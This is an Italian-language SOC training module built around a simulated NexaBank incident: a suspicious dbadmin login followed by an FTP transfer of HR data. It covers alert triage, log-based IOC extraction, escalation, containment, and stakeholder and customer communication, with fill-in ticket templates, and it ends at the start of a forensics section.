Stai controllando il dashboard SOC notturno quando il SIEM genera un **allarme ad alta priorità**:

- **Tipo di avviso:** attività di accesso insolita
- **Account:** dbadmin
- **IP di origine:** 203.0.113.41 (geolocalizzato al di fuori del Nord America)
- **Risultato dell'accesso:** riuscito
- **Sistema accessibile:** server database HR
- **Regola di correlazione attivata:** "Accesso privilegiato al di fuori dell'orario di lavoro"

La tua prima reazione

In qualità di analista SOC junior, la tua responsabilità non è quella di farti prendere dal panico, ma di iniziare a valutare la situazione. Chiediti:

- Questo avviso è **credibile** o potrebbe trattarsi di un **falso positivo**?
- Perché un **account privilegiato** sta effettuando l'accesso alle 2:41 del mattino?
- La posizione dell'indirizzo IP è plausibile per questo utente?
- Quale dovrebbe essere il **passo successivo**: ignorare, monitorare o segnalare?

Analisi degli avvisi - Osservazioni chiave

1. **Account privilegiato in uso** → dbadmin ha accesso a file sensibili delle risorse umane.
2. **Orario di accesso sospetto** → L'attività al di fuori dell'orario normale aumenta il rischio.
3. **Indirizzo IP esterno** → Può indicare credenziali compromesse.

4. **Accesso riuscito** → Non si tratta solo di un tentativo fallito; l'autore dell'attacco potrebbe già essere all'interno.

Esercizio: domande iniziali di triage

Compila la tabella seguente come parte delle tue prime note SOC:

Domanda	**La tua risposta**
L'account effettua normalmente l'accesso a quest'ora?	
L'IP potrebbe essere legittimo (ad esempio, VPN, dipendente in viaggio)?	
Quali dati/sistemi potrebbero essere a rischio se si trattasse di un attacco dannoso?	
Questo avviso ha una priorità sufficientemente alta da richiedere un intervento immediato?	

Opzioni di azione

In qualità di analista junior, hai tre possibili decisioni:

1. **Ignora**: contrassegna come falso positivo e prosegui.
2. **Monitorare**: segnalare come sospetto ma continuare a raccogliere ulteriori dati.
3. **Segnalare**: segnalare a un analista senior con una motivazione.

Ricorda: gli account privilegiati + accessi insoliti sono considerati ad alto rischio per impostazione predefinita. In questo scenario, i falsi positivi dovrebbero essere rari.

Risultato atteso: Ticket SOC (Note iniziali)

Documentare questo evento nel sistema di ticketing SOC. Il ticket deve includere:

- Dettagli dell'allerta (ora, utente, IP, sistema a cui si è avuto accesso).
- La tua analisi preliminare.
- L'azione consigliata (ignorare, monitorare, segnalare).
- Una breve motivazione (perché hai fatto quella scelta).

Punto di controllo: Sezione 2.1

Prima di passare alla **Sezione 2.2: Analisi dei log SIEM**, assicurati di:

- Hai registrato le tue osservazioni iniziali sul login sospetto.
- Hai posto domande di triage per valutare la credibilità.
- Hai scelto un'azione raccomandata e l'hai giustificata.
- Creazione di un ticket SOC con le prime note.

Modello di ticket SOC – Documentazione di allerta iniziale

ID ticket: _____

Data/ora di apertura: _____

Nome dell'analista: _____

Fonte dell'allerta: [ ] SIEM [ ] EDR [ ] IDS/IPS [ ] Altro

Livello di priorità: [ ] Basso [ ] Medio [ ] Alto [ ] Critico

1. Dettagli dell'avviso

- **Tipo di avviso:** _____
- **Sistema interessato:** _____
- **Utente/account coinvolto:** _____
- **IP di origine/posizione:** _____
- **Data e ora dell'evento:** _____
- **Regola di correlazione attivata:** _____

2. Osservazioni iniziali

- **Attività insolita:** _____
- **Motivo del sospetto:** _____
- **Potenziale impatto sull'attività:** _____
- **Livello di affidabilità (basso/medio/alto):** _____

3. Domande di triage

Domanda	Note dell'analista
L'attività corrisponde al comportamento normale? _____	

Domanda	**Note dell'analista**
Potrebbe trattarsi di un'eccezione legittima?	_____
_____ Quali sistemi o dati sono a rischio?	_____
È necessario un escalation? Perché sì/perché no?	_____

4. Azione raccomandata

Scegliere una delle seguenti opzioni:

- **Ignora** – Falso positivo confermato.
- **Monitorare** – Sospetto ma non confermato; continuare a raccogliere dati.
- **Escalare** – Sospetto confermato; richiede la revisione da parte di un analista senior.

Giustificazione dell'azione:

_____

_____

5. Passi successivi

- **Attività di follow-up:** _____
- **Contatto per l'escalation (se applicabile):** _____
- **Stato del ticket:** [ ] Aperto [ ] In monitoraggio [ ] Escalato [ ] Chiuso

Promemoria:
Ogni ticket SOC fa parte del **registro ufficiale degli incidenti**. Scrivi in un linguaggio chiaro e professionale: considera che questo documento potrebbe essere successivamente esaminato da analisti senior,
revisori o persino team legali.

Questo modello può ora essere riutilizzato nelle sezioni successive della Fase 2 e oltre, garantendo coerenza man mano che l'incidente si evolve.

2.2 Analisi dei log SIEM – Approfondimento

Scenario

Dopo aver documentato il **login** sospetto **di dbadmin alle 2:41 del mattino**, estrai ulteriori log dal sistema SIEM (Security Information and Event Management) per approfondire le indagini.

Il SIEM correla eventi provenienti da più fonti (log di autenticazione, log del firewall, agenti endpoint) e li presenta in un unico posto. Il tuo compito è **trovare prove a sostegno** che confermino se questo accesso è:

- Un **falso positivo** (attività legittima) o
- un **indicatore di compromissione (IOC)** che suggerisce un accesso dannoso.

Passaggio 1: esaminare i registri di autenticazione

Si inizia con i registri di autenticazione relativi all'evento:

Esempio di estratto SIEM – Eventi di autenticazione

2025-09-27 02:41:13 ACCESSO RIUSCITO dbadmin IP=203.0.113.41

27/09/2025 02:41:20 ACCESSO AL FILE dbadmin HR_fileserver HR/employee_data.xlsx

27/09/2025 02:42:10 ACCESSO AL FILE dbadmin HR_fileserver HR/salaries.csv

Osservazioni:

- Accesso riuscito da un **indirizzo IP esterno**.
- Entro 1 minuto, è stato effettuato l'accesso a file HR sensibili.
- Il modello suggerisce **una preparazione all'esfiltrazione dei dati**, non un'attività amministrativa di routine.

Fase 2: revisione dei log del firewall/della rete

I registri del firewall forniscono ulteriori informazioni:

Esempio di estratto SIEM – Eventi firewall

2025-09-27 02:43:02 CONNESSIONE IN USCITA dbadmin → FTP 198.51.100.77:21

27/09/2025 02:43:15 TRASFERIMENTO DATI IN USCITA avviato (dimensione: 25 MB)

Osservazioni:

- Connessione FTP in uscita (protocollo insolito per NexaBank).
- Trasferimento di grandi dimensioni avviato poco dopo il login.
- Forti indizi di **potenziale esfiltrazione di dati**.

Fase 3: Identificare gli IOC

Da questi log, ora si dispone di potenziali indicatori di compromissione:

- **Indirizzo IP esterno**: 203.0.113.41 (origine dell'accesso).
- **IP del server FTP**: 198.51.100.77 (destinazione del trasferimento dati).
- **Uso improprio dell'account**: dbadmin accede ai dati delle risorse umane al di fuori del normale orario di lavoro.

Esercizio: analisi dei log IOC

Compila la seguente tabella IOC in base a quanto hai osservato:

IOC	Fonte	Perché sospetto?
_____	Log di autenticazione	_____
_____	Registro di accesso ai file	_____
_____	Registro firewall	_____

Fase 4: Aggiornamento del ticket SOC

Aggiungi questi risultati al tuo ticket SOC dalla Sezione 2.1. Assicurati di:

- Allegare estratti dei registri (autenticazione + firewall).
- Registrare gli IOC identificati.
- Aumentare il livello di confidenza (probabilmente non si tratta di un falso positivo).
- Decidere se **passare immediatamente** a un analista senior.

Punto di controllo: Sezione 2.2

Prima di passare alla **Sezione 2.3: Visualizzazione di più avvisi**, assicurarsi di essere in grado di:

- Estrai gli eventi di autenticazione e firewall dai dati SIEM.
- Identificare gli indicatori di compromissione (IOC) dai registri.
- Aggiornare il ticket SOC con prove basate sui log.
- Giustificare se questo avviso debba essere segnalato.

Foglio di lavoro per l'analisi dei log – Estrazione degli IOC

ID ticket: _____

Data/ora dell'evento: _____

Nome dell'analista: _____

1. Origini dei log esaminate

Selezionare tutte le voci applicabili:

- Log di autenticazione
- Registri di accesso ai file
- Registri firewall
- Traffico di rete (PCAP)
- Avvisi endpoint/EDR
- Altro: _____

2. Voci relative a eventi chiave

Registrare le voci di registro sospette o rilevanti:

Data e ora	Tipo di evento	Dettagli	Perché sospetto?

3. Indicatori di compromissione (IOC) identificati

Elenca tutti i potenziali IOC rilevati dai registri.

IOC	Log di origine	Motivo di preoccupazione

4. Fiducia dell'analista

Quanto sei sicuro che questi eventi indichino un'attività dannosa?

- Bassa – Probabilmente innocua, ma degna di nota.
- Media – Sospetto; richiede monitoraggio.
- Alta: prove evidenti di compromissione.

5. Azione consigliata

Scegliere una delle seguenti opzioni:

- Archivia – Non sono necessarie ulteriori azioni.
- Monitorare – Continuare a raccogliere prove.
- Escalare – Segnalare all'analista senior/team IR.

Giustificazione:

Promemoria:
Allegare estratti delle voci di log grezze (copia/incolla o screenshot) al ticket SOC. Le prove devono sempre supportare la decisione presa.

2.3 Apparizione di più avvisi – Triage in azione

Scenario

Sono **le 2:50 del mattino**, pochi minuti dopo il login sospetto di dbadmin e l'attività FTP in uscita. Il dashboard SIEM si illumina improvvisamente con **tre nuovi avvisi**. Devi decidere a quali dare la priorità e se sono collegati tra loro.

Avvisi ricevuti

1. **Avviso A – Rilevamento malware**

- **Origine:** Protezione endpoint
- **Sistema:** Workstation del reparto finanziario (utente: jane.smith)
- **Evento:** Corrispondenza firma malware → Trojan.Generic.4721
- **Azione intrapresa:** Messa in quarantena, in attesa di revisione da parte dell'analista.

2. **Avviso B – Accessi multipli non riusciti**

- **Origine:** Sistema di autenticazione
- **Sistema:** gateway VPN
- **Evento:** 15 accessi non riusciti per l'account mark.lee tra le 2:46 e le 2:49 del mattino.
- **IP di origine:** 192.0.2.57 (posizione nazionale).

3. **Avviso C – Traffico di rete sospetto**

- **Origine:** Firewall/IDS
- **Sistema:** server database (HR-DB01)
- **Evento:** trasferimento in uscita di grandi dimensioni (100 MB) all'IP esterno 198.51.100.77 tramite FTP.
- **Data e ora:** 2:48.

La tua sfida: triage

Non tutti gli avvisi hanno lo stesso peso. In qualità di analista SOC junior, il tuo compito è **valutare la gravità e l'urgenza**.

Pensa a questo:

- Quale avviso rappresenta il **rischio più elevato** per NexaBank in questo momento?
- Quale potrebbe essere correlato alla **compromissione** di **dbadmin** avvenuta in precedenza?
- Quali potrebbero essere **falsi positivi** o avere una priorità inferiore?

Esercizio: tabella di prioritizzazione

Classificate gli avvisi da **1 (priorità più alta)** a **3 (priorità più bassa)** e spiegate perché.

Allarme	**Priorità (1–3)**	**Motivazione**
Avviso A – Rilevamento di malware	__	_____
Avviso B – Accessi non riusciti	___	_____
Avviso C – FTP in uscita	___	_____

Suggerimento: quale di questi comporta la fuoriuscita di dati sensibili dai sistemi di NexaBank?

Note dell'analista

- **Avviso A (malware):** potrebbe non essere correlato all'incidente dbadmin, ma potrebbe indicare un'infezione separata.
- **Avviso B (accessi non riusciti):** potrebbe trattarsi di un tentativo di forza bruta, ma senza successo (almeno per ora).
- **Avviso C (trasferimento FTP):** direttamente collegato al precedente accesso sospetto e alla potenziale **esfiltrazione di dati**.

Aggiornamento ticket SOC

- Documentare tutti e tre gli avvisi.
- Registra **l'ordine di priorità** e la motivazione.

- Inoltra immediatamente **l'allerta con la massima priorità** a un analista senior.

Punto di controllo: Sezione 2.3

Prima di passare alla **Sezione 2.4: Priorità e escalation**, assicurarsi di essere in grado di:

- Classificare i tre nuovi allarmi in base all'impatto sul business.
- Identificare quale avviso è più chiaramente collegato all'esfiltrazione dei dati.
- Registrare le decisioni di triage nel ticket SOC.
- Prepararti a segnalare l'avviso critico al personale senior.

Modello di nota di escalation – SOC all'analista senior

ID ticket: _____

Data/ora dell'escalation: _____

Escalato da (analista junior): _____

Escalation a (analista senior): _____

1. Sintesi del problema

Fornire una descrizione concisa di 2-3 frasi dell'attività sospetta. Esempio:
"Accesso insolito rilevato per l'account privilegiato dbadmin dall'IP esterno 203.0.113.41 alle 2:41. Successivo accesso ai file sul server del database HR seguito da trasferimento FTP in uscita all'IP esterno 198.51.100.77. Sospetta esfiltrazione di dati in corso".

2. Indicatori di compromissione (IOC)

Elencare tutti gli IOC noti rilevanti per questa escalation.

IOC	Fonte	Note
_____	Registro di autenticazione	_____
_____	Registro firewall	_____
_____	Correlazione SIEM	_____

3. Avvisi coinvolti

Identificare tutti gli avvisi correlati e la loro priorità di triage.

Avviso	Priorità (1–3)	Note
_____	___	_____
_____	___	_____

Avviso	Priorità (1–3)	Note
_____	___	_____

4. Azione consigliata

Selezionare una o più opzioni:

- Disabilitazione immediata dell'account (dbadmin)
- Isolamento del server del database HR
- Blocco delle connessioni FTP in uscita (IP 198.51.100.77)
- Continua a monitorare gli account correlati (ad es. accessi VPN non riusciti)
- Altro: _____

5. Prove a sostegno

Allegare o collegare estratti di log, screenshot o acquisizioni di pacchetti pertinenti.

- Estratto del log di autenticazione
- Registro dei trasferimenti in uscita del firewall
- Screenshot SIEM (trigger della regola di correlazione)

6. Stato dell'escalation

- **Stato del ticket:** [ ] Escalato – In attesa di revisione da parte di un analista senior
- **Livello di priorità:** [ ] Alto [ ] Critico

Promemoria: le note di escalation devono essere **concise, chiare e professionali**. L'analista senior dovrebbe essere in grado di prendere una decisione dopo aver letto la nota in meno di **2 minuti**.

2.4 Priorità Escalation – Prendere la decisione

Riepilogo dello scenario

Hai documentato il **login** sospetto **di dbadmin** (Sezione 2.1), esaminato i log di supporto (Sezione 2.2) e valutato tre ulteriori avvisi (Sezione 2.3).
Il tuo prossimo compito è quello di **dare priorità a questi avvisi** e decidere quali richiedono **un'escalation immediata** a un analista senior.

Passaggio 1: riesaminare gli avvisi

- **Avviso A (rilevamento di malware):** infezione isolata della workstation, messa in quarantena.
- **Avviso B (accessi non riusciti):** più tentativi non riusciti, nessun accesso ancora riuscito.
- **Avviso C (trasferimento FTP in uscita):** account privilegiato che trasferisce dati HR all'esterno.

Quale è **attualmente critico per l'azienda**?

Fase 2: applicare i criteri di escalation

I team SOC in genere procedono all'escalation quando:

1. **I dati sensibili sono a rischio**
2. **Sono coinvolti account privilegiati**
3. **Esistono prove di esfiltrazione o movimento laterale**
4. **La politica richiede un contenimento immediato**

Sulla base di questi elementi, **l'allerta C (trasferimento FTP in uscita)** è la **priorità assoluta**.

Fase 3: redigere una nota di escalation

Ora, utilizza il **modello di nota di escalation** per segnalare formalmente questo avviso. La tua nota dovrebbe:

- Riassumere chiaramente l'attività sospetta.

- Elencare gli IOC e i log di supporto.
- Raccomandare misure di contenimento immediate.

Esercizio: scrivere la nota di escalation

Compilare gli spazi vuoti sottostanti:

Sintesi del problema:

_____

IOC identificati:

1. _____
2. _____
3. _____

Azione raccomandata:

- Disabilitare l'account dbadmin
- Isolare HR-DB01 (server database)
- Bloccare la connessione FTP in uscita
- Altro: _____

Passaggio 4: inviare e registrare

- Invia la tua nota di escalation al **Senior SOC Analyst**.
- Allegala al tuo **ticket SOC** per garantire la tracciabilità.
- Modificare lo stato del ticket in **Escalato - In attesa di revisione**.

Punto di controllo: Sezione 2.4

Prima di passare alla **Sezione 2.5: Risposta dell'analista senior**, assicurati di:

- Hai correttamente assegnato la priorità agli avvisi (esfiltrazione FTP = priorità massima).
- Hai redatto una nota di escalation professionale utilizzando il modello.
- Aver aggiornato il tuo ticket SOC con lo stato di escalation.
- Compreso **perché i criteri di escalation sono importanti** nella risposta agli incidenti.

2.5 Risposta dell'analista senior - Contenimento in corso

Scenario

Hai segnalato il **login** sospetto **di dbadmin + il trasferimento FTP in uscita** al tuo analista SOC senior. In pochi minuti, questi esamina la tua nota di escalation e risponde con le direttive di contenimento.

Memo dell'analista senior - Feedback e azioni A:

Team di analisti SOC junior
Da: Analista SOC senior – Jordan Rivera
Oggetto: Revisione dell'escalation – Incidente relativo all'account dbadmin
Data**/ora:** 27/09/2025, 03:05

1. Revisione della tua nota di escalation

- Ottimo lavoro nell'individuare gli IOC chiave (accesso da IP esterno, accesso ai dati HR, trasferimento FTP in uscita).
- L'escalation è stata tempestiva e giustificata: esattamente il tipo di evento che richiede un contenimento immediato.
- Miglioramento: sii specifico nelle azioni raccomandate, includi nomi host/IP esatti, non solo "server database". La precisione accelera il contenimento.

2. Azioni di contenimento immediate (assegnate al team SOC)

1. Disattivare immediatamente l'account dbadmin.
2. Isolare l'host **HR-DB01** interessato dalla rete aziendale.
3. Bloccare il traffico in uscita verso 198.51.100.77 (server FTP) sul firewall.
4. Conserva i log SIEM e le registrazioni del firewall come prove.

3. Passaggi successivi (assegnati a te)

- Continua a monitorare eventuali movimenti laterali da altri account privilegiati.
- Iniziare a estrarre i log dal **gateway VPN** e **dalla protezione degli endpoint** per la correlazione.
- Documentare ogni azione di contenimento con timestamp nel ticket SOC.

4. Nota di sviluppo dell'analista

Si è trattato di un grave aggravamento della situazione. Ricorda:

- Il contenimento viene prima di tutto.
- La documentazione deve essere dettagliata: ogni azione potrebbe essere successivamente esaminata dalla direzione o dall'ufficio legale.
- Non dare mai nulla per scontato: fornisci sempre prove a sostegno delle tue

raccomandazioni. Continua così.

Esercizio: risposta dell'analista senior

Aggiornate il vostro ticket SOC con:

- Azioni intraprese (disattivazione dell'account, isolamento dell'host, blocco del traffico in uscita).
- Data e ora di ciascuna azione.
- Riferimento al promemoria dell'analista senior.

Punto di controllo: Sezione 2.5

Prima di passare alla **Sezione 2.6: Escalation agli stakeholder**, assicurati di:

- Hai esaminato il feedback dell'analista senior.
- Di aver compreso le priorità di contenimento.
- Aggiornato il ticket SOC con azioni e timestamp.
- Annotate le aree di miglioramento nel processo di escalation.

Briefing sull'escalation per gli stakeholder – Aggiornamento sull'incidente

Data/ora: _____

Preparato da: _____

Distribuzione: [ ] Operazioni IT [ ] Risorse umane [ ] Legale [ ] Team esecutivo

1. Sintesi dell'incidente (linguaggio semplice)

Descrivere l'accaduto in termini semplici e non tecnici. Esempio:
"Un account privilegiato (dbadmin) è stato utilizzato al di fuori del normale orario di lavoro per accedere al database delle risorse umane di NexaBank. Poco dopo, sono stati consultati dati sensibili relativi ai dipendenti ed è stato rilevato un trasferimento di file di grandi dimensioni verso un server esterno non autorizzato".

2. Stato attuale

- **Misure di contenimento adottate:**
    - Account dbadmin disabilitato
    - Server del database delle risorse umane isolato
    - Connessione in uscita verso IP sospetto bloccata
- **Stato della minaccia:** [ ] Contenuta [ ] Indagine in corso [ ] Monitoraggio

3. Impatto sull'attività

Spiegare in che modo l'incidente potrebbe influire su ciascun gruppo di stakeholder.

- **Operazioni IT:** l'isolamento del sistema potrebbe influire sulla disponibilità del database delle risorse umane.
- **Risorse umane:** è possibile che siano stati consultati i dati personali dei dipendenti.
- **Legale/Conformità:** potenziali obblighi di segnalazione di violazioni dei dati.
- **Dirigenti:** rischio reputazionale e fiducia dei clienti in gioco.

4. Prossimi passi (per stakeholder)

- **Operazioni IT:** Assistere nell'isolamento dei sistemi e nella preparazione dei backup.
- **Risorse umane:** prepararsi a informare i dipendenti interessati in caso di conferma della violazione.
- **Ufficio legale:** valutare i requisiti normativi in materia di segnalazione (ad esempio, GDPR, HIPAA).
- **Dirigenti:** preparare una strategia di comunicazione interna/esterna.

5. Contatti chiave

- **Responsabile SOC:** _____
- **Responsabile delle operazioni IT:** _____
- **Rappresentante delle risorse umane:** _____
- **Consulente legale:** _____

Promemoria per gli analisti:
Questo briefing dovrebbe **evitare il gergo tecnico**. Gli stakeholder sono interessati **all'impatto, alle azioni e ai passi successivi**, non agli indirizzi IP grezzi o ai dati di log. Siate **concisi, chiari e concentrati sul business**.

2.6 Escalation agli stakeholder – Oltre il SOC

Scenario

Alle **3:20 del mattino**, a seguito delle azioni di contenimento, l'analista SOC senior ti incarica di preparare un aggiornamento per le parti interessate.
Ciò significa redigere un **briefing non tecnico** che spieghi:

- Cosa è successo
- Quali azioni sono state intraprese
- Quale impatto potrebbe avere sui diversi gruppi
- Cosa devono fare in seguito

Questo passaggio è fondamentale: un aggiornamento comunicato in modo inadeguato può confondere o spaventare gli stakeholder, mentre uno chiaro garantisce una risposta rapida e coordinata.

Fase 1: Identificare il proprio pubblico

Gli stakeholder che devono essere informati includono:

- **Operazioni IT** → Assistenza con isolamento, backup, patch.
- **Risorse umane** → Potrebbe essere necessario preparare comunicazioni per i dipendenti interessati.
- **Ufficio legale/Conformità** → Valutazione degli obblighi di segnalazione delle violazioni.
- **Dirigenti** → Richiedono una sintesi di alto livello per orientare le decisioni aziendali.

Fase 2: Tradurre l'impatto tecnico in impatto aziendale

Invece di utilizzare gergo tecnico (ad esempio, "IP estero" o "esfiltrazione FTP"), utilizzare un linguaggio comprensibile al mondo aziendale:

- "Accesso non autorizzato dall'esterno del Nord America".
- "I dati sensibili dei dipendenti potrebbero essere stati trasferiti all'esterno".
- "Il database delle risorse umane è temporaneamente offline per motivi di indagine."

Fase 3: redigere una relazione informativa per gli stakeholder

Utilizzando il **modello di briefing di escalation per gli stakeholder**, il briefing potrebbe essere simile al seguente:

Briefing sull'incidente - SOC agli stakeholder Data/ora:

27/09/2025, 03:20
Preparato da: Analista SOC junior
Distribuzione: Operazioni IT, Risorse umane, Ufficio legale, Team esecutivo

1. Sintesi dell'incidente (linguaggio semplice)

Un account privilegiato (dbadmin) è stato utilizzato per accedere al database delle risorse umane al di fuori del normale orario di lavoro. Sono stati consultati file sensibili delle risorse umane ed è stato rilevato un trasferimento di grandi dimensioni verso un server esterno non autorizzato.

2. Stato attuale

- Account dbadmin disabilitato
- Server del database delle risorse umane isolato dalla rete
- Connessione in uscita verso IP esterno bloccata
- Registri conservati come prove
  Stato della minaccia: Contenuta (indagini in corso)

3. Impatto sull'attività

- **Operazioni IT:** database delle risorse umane offline durante l'isolamento.
- **Risorse umane:** è possibile che sia stato effettuato l'accesso ai dati dei dipendenti.
- **Legale/Conformità:** possibile necessità di segnalare la violazione.
- **Dirigenti:** rischio per la reputazione e la fiducia dei clienti.

4. Prossimi passi

- **Operazioni IT:** supportare l'isolamento del server e preparare un backup pulito.
- **Risorse umane:** preparare un piano di notifica ai dipendenti se la violazione viene confermata.
- **Ufficio legale:** avviare la valutazione della segnalazione della violazione.

- **Dirigenti:** preparare una strategia di comunicazione esterna.

5. Contatti chiave

- Responsabile SOC – Jordan Rivera
- Responsabile operazioni IT – [Nome]
- Rappresentante delle risorse umane – [Nome]
- Consulente legale – [Nome]

Fase 4: Presentazione del briefing

In pratica, questo briefing potrebbe essere:

- Condiviso tramite **e-mail sicura** o sistema di ticketing
- Consegnato in una **conferenza telefonica o in una riunione nella sala operativa**
- Aggiornato **ogni 30-60 minuti** man mano che la situazione evolve

Esercizio: redigere il proprio briefing

Compilate il modello di briefing per gli stakeholder con:

1. Una tua descrizione dell'incidente (evita il gergo tecnico).
2. Almeno **due impatti aziendali** specifici per NexaBank.
3. Passi successivi chiari e attuabili per ciascun gruppo di stakeholder.

Punto di controllo: Sezione 2.6

Prima di passare alla **Sezione 2.7: Preparazione della comunicazione con i clienti**, assicurati di:

- Hai identificato quali stakeholder necessitano di aggiornamenti.
- Hai tradotto i dettagli tecnici in impatto aziendale.
- Hai redatto un briefing per gli stakeholder utilizzando il modello.
- Comprendi l'importanza della chiarezza e di un linguaggio non tecnico.

2.7 Preparazione della comunicazione con il cliente - Proteggere la fiducia

Scenario

Alle **4:00 del mattino**, i dirigenti convocano una riunione urgente.
Il SOC ha confermato **un accesso sospetto ai dati delle risorse umane** e **una potenziale fuga di informazioni**. Ora sorge la domanda:
"Dobbiamo informare i nostri clienti? E se sì, cosa diciamo e quando?"

È qui che la sicurezza informatica passa dalla risposta tecnica alla **comunicazione di crisi**.

Fase 1: perché la comunicazione con i clienti è importante

- I clienti si aspettano **trasparenza** quando i loro dati potrebbero essere a rischio.
- Le autorità di regolamentazione possono **richiedere la divulgazione** entro scadenze specifiche (ad esempio, GDPR, leggi statali sulla violazione dei dati).
- Una comunicazione gestita in modo inadeguato può danneggiare la fiducia più della violazione stessa.

Fase 2: Cosa comunicare (e cosa non comunicare)

Quando si prepara una comunicazione esterna:
INCLUDERE

- Riconoscimento dell'incidente.
- Quali tipi di dati *potrebbero* essere stati compromessi.
- Quali azioni vengono intraprese per proteggere i sistemi.
- Le misure che i clienti dovrebbero adottare (ad esempio, cambiare le password, monitorare gli account).

NON includere

- Dettagli altamente tecnici (IP, registri FTP).
- Speculazioni sugli autori dell'attacco.
- Accuse o teorie non confermate.

Fase 3: Redazione di una notifica ai clienti (esempio)

Oggetto: Avviso importante sulla sicurezza da parte di

NexaBank

Corpo del messaggio:
NexaBank ha rilevato attività insolite che coinvolgono uno dei nostri sistemi interni. Per motivi di estrema cautela, stiamo indagando su un potenziale accesso non autorizzato ai dati dei dipendenti.

Al momento abbiamo:

- Contenuto l'attività sospetta.
- Isolato i sistemi interessati.
- Avviato un'indagine approfondita con esperti interni ed esterni.

Mentre l'indagine è ancora in corso, raccomandiamo ai clienti di:

- Controllino regolarmente l'attività dei propri conti.
- Modifichino le password dei propri account.
- Abilitare l'autenticazione a due fattori, se non già attiva.

Forniremo aggiornamenti non appena saranno disponibili ulteriori informazioni.
La vostra fiducia è la nostra priorità e ci impegniamo a garantire la massima trasparenza nella risoluzione di questo problema.

— Team di sicurezza NexaBank

Fase 4: Esercizio – Redigete la vostra bozza di dichiarazione per i clienti

Utilizzando la struttura sopra riportata, redigete una **breve bozza di notifica** che:

1. Indichi chiaramente che l'incidente è oggetto di indagine.
2. Fornisca almeno **due azioni specifiche da parte dei clienti**.
3. Rassicuri i clienti sul fatto che NexaBank sta prendendo sul serio la questione.

Fase 5: Nota di escalation per i dirigenti

Prima di inviare qualsiasi comunicazione pubblica, il team SOC deve **riassumere i rischi per i dirigenti**:

- Quali dati dei clienti potrebbero essere interessati?

- Quanto siamo sicuri di tale valutazione?
- Quali sono i consigli dei team legali/di conformità?
- Quali sono i tempi previsti (24 ore, 72 ore, ecc.)?

Punto di controllo: Sezione 2.7

Prima di passare alla **Sezione 2.8: Simulazione della sala operativa esecutiva**, assicurati di:

- Comprendere perché le comunicazioni esterne devono bilanciare velocità e accuratezza.
- Hai redatto una notifica per i clienti che eviti il gergo tecnico ma ispiri fiducia.
- Identificate almeno due azioni concrete che i clienti dovrebbero intraprendere.
- Riconosciuto il ruolo dei dirigenti e dei legali nell'approvazione delle dichiarazioni.

2.8 Simulazione di una sala operativa esecutiva – Crisi sotto pressione

Scenario

Sono **le 4:30 del mattino**.
Il SOC ha contenuto la minaccia immediata, ma **i dirigenti, le risorse umane, l'ufficio legale e le operazioni IT** sono ora riuniti in una **riunione** di emergenza **nella "War Room"** per gestire l'incidente.

In qualità di analista SOC junior, sei invitato a illustrare i risultati tecnici e poi a osservare come **i diversi stakeholder** portano avanti le proprie priorità, a volte contrastanti.

Questa simulazione mostra come **la risposta tecnica e l'impatto sul business entrino in collisione**.

Fase 1: Partecipanti alla War Room

- **SOC/Sicurezza:** presentare prove tecniche, suggerire misure di contenimento.
- **Operazioni IT:** preoccuparsi del ripristino dei sistemi e dell'operatività.
- **Risorse umane:** preoccupate per l'esposizione dei dati dei dipendenti.
- **Legale/Conformità:** concentrati sugli obblighi normativi.
- **Dirigenti:** pressione per proteggere la reputazione e rassicurare i clienti.

Fase 2: Dinamiche della sala operativa

La riunione inizia con **una presentazione di 2 minuti** (basata sulla nota di escalation degli stakeholder del punto 2.6).
Quindi, gli stakeholder reagiscono:

- **Operazioni IT:** "L'isolamento di HR-DB01 influisce sulle buste paga: quanto tempo ci vorrà per ripristinarlo?"
- **Risorse umane:** "Dobbiamo informare i dipendenti oggi stesso? A quali dati è stato effettuato l'accesso?"
- **Ufficio legale:** "Se sono state trasferite informazioni personali identificabili, è necessario informare le autorità di regolamentazione entro 72 ore. Possiamo confermarlo?"
- **Dirigenti:** "Cosa diciamo alla stampa se la notizia trapelasse? Abbiamo bisogno di punti di discussione chiari."

Fase 3: Esercizio – Tabella delle priorità degli stakeholder

Compilare la tabella per individuare gli aspetti che interessano ciascun gruppo:

Principale preoccupazione degli stakeholder		**Conflitto con**
SOC/Sicurezza	Contenimento C Prove integrità	Dirigenti (desiderano comunicazioni rapide)
Operazioni IT	Disponibilità del sistema	Sicurezza (richiede un isolamento più lungo)
Risorse umane	Protezione dei dati dei dipendenti	Dirigenti (pressione temporale)
Legale	Scadenze normative	Operazioni IT (richiesta di ripristino rapido)
Dirigenti	Reputazione Fiducia dei clienti C	SOC (desidera confermare prima della divulgazione)

Fase 4: Comunicazione sotto pressione

Ora, simuliamo la stesura di **due brevi messaggi** durante la riunione di crisi:

1. **Aggiornamento interno (per i dirigenti)** → 3 frasi, semplice, impatto sul business.
2. **Nota tecnica (per i registri SOC)** → precisa, basata su prove, riferimenti ai registri.

Questa doppia abilità di comunicazione è fondamentale:

- I dirigenti vogliono **chiarezza e rapidità**.
- I registri SOC richiedono **precisione e dettagli**.

Fase 5: Punto decisionale

La sala operativa conclude con **due domande fondamentali** per il team dirigenziale:

1. Informiamo immediatamente i clienti o aspettiamo che le indagini confermino l'esfiltrazione?
2. Ripristiniamo rapidamente il database delle risorse umane o lo teniamo isolato fino al completamento delle indagini forensi?

In qualità di analista junior, non sei tu a decidere, ma **osservi e documenti**.

Esercizio – Riflessione dell'analista

Scrivi una breve riflessione:

- Quale stakeholder hai trovato più difficile da bilanciare?
- Quali rischi potrebbero derivare da un ripristino troppo precoce del servizio?
- Quali rischi potrebbero derivare dal ritardo nella notifica ai clienti?

Punto di controllo: Sezione 2.8

Prima di passare alla **Fase 3: La tua indagine**, assicurati di:

- Hai individuato le priorità e i conflitti delle parti interessate.
- Ti sei esercitato a scrivere messaggi doppi (esecutivo vs. registro SOC).
- Hai riflettuto sui compromessi tra velocità, accuratezza e fiducia.
- Ammodernato il tuo ticket SOC con le note della sala operativa.

Fase 3: La tua indagine

3.1 Raccolta di dati forensi – Conservazione delle prove

Scenario

Sono **le 5:15 del mattino**.
Sono state adottate misure di contenimento:

- account dbadmin disabilitato
- server HR-DB01 isolato
- FTP in uscita bloccato

Il tuo prossimo ruolo come analista SOC junior è quello di aiutare nella **raccolta di dati forensi**. Ciò significa preservare le prove volatili e non volatili prima che scompaiano o vengano sovrascritte.

Fase 1: Principi forensi

Durante la raccolta dei dati:

- **Non danneggiare** → Non modificare le prove originali.
- **Preservare la catena di custodia** → Documentare chi li ha raccolti, quando e come.
- **Fai delle copie** → Lavora su immagini forensi, non su sistemi attivi.
- **Registrare tutto** → Timestamp, comandi utilizzati, hash dei file.

Fase 2: Cosa raccogliere

